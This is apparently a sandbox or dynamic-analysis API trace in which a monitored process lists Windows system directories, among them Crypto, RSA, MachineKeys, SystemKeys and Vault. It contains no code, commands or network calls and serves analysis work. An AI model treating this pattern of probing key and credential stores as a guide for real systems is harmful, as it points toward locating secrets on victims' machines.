	[0184.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.444] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0
	[0184.444] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.445] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
	[0184.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.446] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0184.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.449] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0184.449] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0184.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.449] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0184.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.449] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0184.449] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.450] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0184.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.450] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0184.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.450] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0184.450] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.450] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0184.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.451] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0184.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.451] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0184.451] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.451] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1
	[0184.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.643] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0
	[0184.643] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0184.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DRM", cAlternateFileName="")) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MapData", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MF", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Search", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Settings", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spectrum", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UEV", cAlternateFileName="")) returned 1
	[0184.648] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Vault", cAlternateFileName="")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WDF", cAlternateFileName="")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1
